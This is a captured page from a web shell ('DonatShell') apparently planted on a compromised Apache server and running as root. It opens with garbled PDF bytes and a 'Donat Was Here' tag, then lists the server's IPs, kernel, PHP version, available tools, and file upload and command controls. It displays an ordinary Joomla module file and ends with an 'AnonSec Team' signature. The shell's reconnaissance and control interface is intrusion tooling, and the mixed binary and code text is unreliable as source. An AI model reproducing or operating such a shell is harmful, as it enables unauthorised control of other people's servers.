%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_sj_moduletabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_sj_moduletabs/mod_sj_moduletabs.php
<?php
/**
 * @package Sj Module Tabs
 * @version 2.5
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 * @copyright (c) 2012 YouTech Company. All Rights Reserved.
 * @author YouTech Company http://www.smartaddons.com
 * 
 */
defined('_JEXEC') or die;

//defined('_YTOOLS') or include_once 'core/sjimport.php';

// set current module for working
// YTools::setModule($module);

// // import jQuery
// if (!defined('SMART_JQUERY') && (int)$params->get('include_jquery', '1')){
// 	YTools::script('jquery-1.5.min.js');
// 	define('SMART_JQUERY', 1);
// }
// if (!defined('SMART_NOCONFLICT')){
// 	YTools::script('jsmart.noconflict.js');
// 	define('SMART_NOCONFLICT', 1);
// }

// YTools::script('jsmart.moduletabs.js');
// YTools::stylesheet('moduletabs.css');

$position = $params->get('position', '');
$listmodules = array();
if ( !empty($position) ){
	$position_modules = JModuleHelper::getModules($position);
	$nb_module_allow  = $params->get('nb_module', 0);
	foreach ($position_modules as $i => $_module){
		if ($_module->id != $module->id){
			$listmodules[$_module->id] = &$position_modules[$i];
			if ($nb_module_allow==count($listmodules)){
				break;
			}
		} else {
			// do not recursive load
		}
	}
}

// load Renderer
$document	= &JFactory::getDocument();
$renderer	= $document->loadRenderer('module');

// if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
// 	header('Content-Type: text/xml');
// 	$sj_module_2load	= JRequest::getVar('sj_module_2load', null);
// 	$sj_module_id		= JRequest::getVar('sj_module_id', null);
// 	$sj_module			= JRequest::getVar('sj_module', null);
// 	if ($sj_module==$module->module && $sj_module_id==$module->id){
// 		// it's me. he he
// 		if (isset($listmodules[$sj_module_2load])){
// 			$_module = &$listmodules[$sj_module_2load];
// 			if ($_module->content==''){
// 				$_module->content = $renderer->render($_module, array());
// 			}
// 			die($_module->content);
// 		}
// 	}
// }

if ( count($listmodules) > 0 ){
	//$load_by_ajax = (int)$params->get('load_by_ajax', 0);
	foreach ($listmodules as $i => $_module) {
		if ($_module->content==''){
			$_module->content = $renderer->render($_module, array());
		}
// 		if ($load_by_ajax){
// 			// only render first module.
// 			break;
// 		}
	}
	include JModuleHelper::getLayoutPath($module->module);
	//require JModuleHelper::getLayoutPath('mod_sj_moduletabs', $params->get('layout', 'default'));
}?>



Anon7 - 2022
AnonSec Team